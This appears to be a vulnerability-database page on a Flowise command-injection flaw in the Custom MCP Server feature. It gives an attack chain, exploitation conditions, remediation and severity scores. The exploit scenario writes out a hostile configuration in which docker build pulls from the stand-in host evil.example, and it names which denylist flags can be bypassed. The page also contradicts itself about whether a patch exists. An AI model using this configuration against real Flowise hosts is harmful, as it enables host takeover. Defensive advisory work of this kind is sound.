Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain Flowise account or API key
-
DeliveryCreate chatflow with Custom MCP Server node
-
ExploitSubmit docker build or npx --yes payload
-
ExecutionBypass validateCommandFlags denylist
-
PersistFlowise spawns attacker command on host
-
ImpactExecute Dockerfile RUN or script for host takeover
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The target must be Flowise <= 3.1.1 with the Custom MCP Server feature reachable to the attacker, and the attacker must hold either a Flowise account of any role or an API key with view and update permissions on chatflows - fully unauthenticated exploitation is not possible. To weaponize the docker-build variant, the Docker CLI must be installed on the Flowise host and reachable to the Flowise service user; the npx '--yes' and local-file-access variants instead require Node.js/npx on the host and a writable or attacker-controlled local script path. The vulnerability does not require user interaction, non-default configuration of Flowise itself, or any specific OS platform beyond the presence of one of these execution helpers. |
| Impact | The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H (8.7 High) is consistent with the description: exploitation is network-reachable, low-complexity, requires some privilege (an account of any role, or an API key with chatflow view/update), needs no user interaction, and yields full confidentiality/integrity/availability impact on the host. There is no EPSS score, KEV listing, or SSVC decision data supplied, so widespread exploitation cannot be confirmed; however a detailed reproduction (HTTP POST plus screenshots) is published in the GHSA advisory and the VulnCheck writeup, which materially raises real-world risk above what KEV/EPSS absence would suggest. The PR:L requirement is genuinely low-friction in practice because Flowise installations frequently allow self-registration or share API keys among low-trust users, and the post-exploit impact is host-level RCE (potentially with Docker daemon access enabling container escape), so this should be treated as a priority patch for any internet-exposed or multi-tenant Flowise instance. |
| Exploit ScenarioDerived | An attacker who has signed up for (or been given) a low-privilege Flowise account, or who has obtained an API key with view/update on chatflows, creates a chatflow containing a Custom MCP Server node configured with command 'docker' and args ['build','https://evil.example/']; the validateCommandFlags check passes because 'build' is not in the docker blocklist. The attacker then issues POST /api/v1/prediction/{chatflows_id} which causes Flowise to invoke 'docker build' against the remote URL, pulling and executing a hostile Dockerfile whose RUN instructions and volume-mount tricks break out to the Flowise host. A working reproduction (HTTP request and screenshots) is published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 23, 2026
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update permissions) to abuse the Custom MCP Server feature and run arbitrary OS commands on the host. The validateCommandFlags blocklist and validateArgsForLocalFileAccess regex are incomplete - for example 'docker build' is permitted and 'npx --yes' is permitted while only '-y' is blocked - letting attackers point Flowise at a hostile Dockerfile or local script to achieve full host compromise. Publicly available exploit code exists (the GHSA advisory ships a reproduction), though there is no public exploit identified at time of analysis in CISA KEV.
RemediationAI
Vendor-released patch: upgrade flowise and flowise-components to 3.1.2 or later, which extends the validateCommandFlags blocklist and tightens the validateArgsForLocalFileAccess regex (see the GHSA-m99r-2hxc-cp3q advisory). If immediate upgrade is not possible, disable or remove the Custom MCP Server node type from chatflows and revoke API keys carrying chatflow update permissions from any non-administrative principals; on hosts where docker is installed, remove docker from the Flowise service account's PATH or run Flowise under a user that has no docker group membership, accepting that legitimate Docker-based MCP servers will stop working. Additionally restrict the Flowise web UI and API to trusted networks and disable open user self-registration via FLOWISE_USERNAME/PASSWORD-only access, since the prerequisite of 'any role' account dramatically lowers the bar otherwise.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Flowise is an open-source low-code LLM orchestration platform (npm packages flowise and flowise-components) that lets users wire chatflows to external tools via the Model Context Protocol (MCP). When a chatflow includes a Custom MCP Server node, Flowise spawns a child process using a user-supplied command and arguments, guarded by two allow/deny functions in packages/components/nodes/tools/MCP/core.ts: validateCommandFlags (a hard-coded blocklist of dangerous flags per command) and validateArgsForLocalFileAccess (a regex check intended to prevent local file references). Both controls are incomplete: the docker blocklist only covers run/exec/-v/--volume/--privileged/--cap-add/--security-opt/--network/--pid/--ipc but omits build/pull/push/cp/commit, and the npx blocklist contains '-y' but not the equivalent '--yes' long form. The root cause is classic CWE-78 (OS Command Injection) via denylist-style validation of an interpreter invocation, where the denylist fails to be canonical or exhaustive over the set of dangerous flag aliases and subcommands.
Know when Flowise gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable Flowise UI/API, low complexity, requires any-role account or chatflow-permissioned API key (PR:L), no user interaction, full host RCE gives C/I/A:H.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
Flowise before 3.1.2 contains multiple OS command injection vulnerabilities in the Custom MCP Server feature due to incomplete command-flag validation and a regex bypass in local file access restrictions. An attacker with a Flowise account of any role, or API access with view/update permissions for chatflows, can configure a malicious MCP server to bypass the validateCommandFlags blocklist (for example, 'docker build' is not blocked, and 'npx --yes' is not blocked while only '-y' is) and the validateArgsForLocalFileAccess checks, resulting in execution of arbitrary commands on the Flowise host.
Executive ViewAI
Flowise before 3.1.2 contains a remote code execution vulnerability affecting authenticated users and API callers with chatflow permissions, allowing complete host compromise through an incomplete blocklist in the Custom MCP Server feature. Publicly available exploit code exists; with a CVSS score of 8.7, any organization running vulnerable Flowise instances faces immediate risk of unauthorized command execution and potential lateral movement.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable Custom MCP Server feature entirely if operational requirements permit; (2) restrict API key distribution and rotate existing credentials; (3) implement network segmentation to limit Flowise accessibility; (4) enable detailed audit logging of API calls and system command execution; (5) monitor for unexpected outbound network connections from Flowise processes; (6) run Flowise in restricted container or sandbox environment with minimal host-level permissions.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Flowise versions before 3.0.1 allow unauthenticated access to the Custom MCPs feature, which is designed to execute OS c
FlowiseAI Flowise version 2.2.6 contains an arbitrary file upload vulnerability in the /api/v1/attachments endpoint. Una
Arbitrary file read and write in Flowise versions prior to 3.0.8 allows an authenticated attacker with access to the flo
Flowise is a drag & drop user interface to build a customized large language model flow. Rated critical severity (CVSS 9
Authenticated users can upload arbitrary files to Flowise 3.0.7 due to missing validation, enabling persistent storage o
Unrestricted file upload in Flowise LLM workflow builder before 3.0.13 via /api/v1/attachments endpoint allows unauthent
Missing authentication on NVD data endpoint in Flowise before 3.0.13 allows unauthenticated access to internal vulnerabi
Authenticated remote code execution in FlowiseAI Flowise (v3.0.1 up to but not including 3.0.8, and later versions when
Remote code execution in Flowise before 3.1.3 arises because its Pyodide Python-code validator (validatePythonCodeForDat
Remote code execution in FlowiseAI Flowise before 3.1.3 lets an attacker execute arbitrary OS commands as the Flowise pr
Remote command execution in Flowise <= 3.1.2 lets an authenticated user break out of the vm2/@flowiseai/nodevm JavaScrip
EUVD-2026-38434
GHSA-8rhx-2hcv-q49g
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB